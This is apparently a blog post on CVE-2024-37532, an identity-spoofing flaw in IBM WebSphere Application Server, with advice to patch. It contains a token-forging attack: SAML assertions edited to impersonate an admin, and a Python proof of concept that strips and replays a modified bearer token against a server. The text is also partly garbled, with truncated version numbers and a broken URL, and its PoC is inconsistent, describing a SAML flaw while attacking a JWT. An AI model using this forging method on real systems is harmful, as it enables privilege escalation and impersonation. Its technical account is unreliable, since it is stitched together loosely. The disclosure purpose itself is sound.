A newly disclosed security vulnerability, CVE-2024-37532, has put users of IBM WebSphere Application Server versions 8.5 and 9. at risk. This flaw allows an authenticated attacker to impersonate another user, thanks to a misstep in how digital signatures are checked. This post will walk you through what happened, how it works, and what you should do to stay safe.

The Nuts and Bolts

IBM WebSphere Application Server (WAS) is a well-known platform used to run Java web apps. On June 11, 2024, IBM published details about a critical bug that lets a logged-in user spoof identities. The issue boils down to improper signature validation during authentication. In simple words: The server was tricked into believing a “forged” user identity was real.

Very Important: Only someone who has already logged in can launch this attack. But in many corporate setups, that’s all you need for big trouble.

WebSphere Application Server 9.

If you run either version (including some fix packs prior to official patches) and use signature-based authentication (such as SAML or similar mechanisms), you’re in the blast radius.

Source:
- IBM Security Bulletin (ID: 294721)
- NVD Entry

Login: The attacker logs into WebSphere using their own credentials.

2. Capture & Modify: The attacker intercepts a signed token (like a SAML assertion), alters it by changing the identity field to another valid user, and misuses the weak signature check on the server.

Replay: The forged token is sent to the server.

4. Bypass: The server fails to properly re-validate the digital signature and accepts the modified token, granting the attacker the victim’s privileges.

Suppose a typical SAML token looks like this

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>attacker@company.com</saml:NameID>
  </saml:Subject>
  <!-- digital signature block -->
</saml:Assertion>

The attacker changes it to

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>admin@company.com</saml:NameID>
  </saml:Subject>
  <!-- the signature block is replayed or poorly validated -->
</saml:Assertion>

Because WebSphere isn’t correctly checking the signature, it thinks this altered token is valid.

Here’s a _simplified_ (pseudo-code) example showing the problem

// Vulnerable verification logic
if(verifySignature(token, getPublicKey(token.getIssuer()))){
    // User is authenticated - but the signature may not match user data!
    grantAccess(token.getSubject());
}

The issue: getPublicKey(token.getIssuer()) uses the issuer claimed in the token, not where the signature actually points—a classic signature validation error.

Proof-of-Concept: Exploiting the Issue

Disclaimer: _This snippet is for educational use only!_

Here’s a Python snippet that could be used as a PoC if you had access to intercept and modify tokens:

import requests

original_token = "eyJhbGciOiJSUzI1NiIsIn..."  # base64 signed JWT or SAML blob

# Decode, modify subject/user, re-encode (without resigning!)
import jwt  # PyJWT
decoded = jwt.decode(original_token, options={"verify_signature": False})
decoded['sub'] = 'admin@company.com'
forged_token = jwt.encode(decoded, key=None, algorithm=None)  # No resigning

# Send forged token in an authenticated request
headers = {'Authorization': f'Bearer {forged_token}'}
resp = requests.get("https://websphere-server/protected/";, headers=headers)
if resp.status_code == 200:
    print("Exploit works! Access granted as admin.")

Caution: The real exploit could involve more complexity (e.g., handling XML signatures), but the idea is the same: trick the server into accepting a recycled signature on altered token data.

What You Should Do

IBM has released patches for both affected versions.

Apply them immediately.

- IBM WebSphere Security Bulletin & Fixes

References

- IBM X-Force Exchange: CVE-2024-37532
- IBM Security Bulletin
- NVD Entry

Final Thoughts

CVE-2024-37532 is a textbook case of how even authenticated users can pose dangers when signature validation isn’t rock-solid. If you use IBM WebSphere Application Server, take action now. Don’t wait for attackers to find weak links in your chain.

*Stay patched. Stay alert!*

_This post is exclusive to this page. Please refer to official IBM guidance for updates and remediation steps._

Timeline

Published on: 06/20/2024 14:15:10 UTC
Last modified on: 06/20/2024 16:07:50 UTC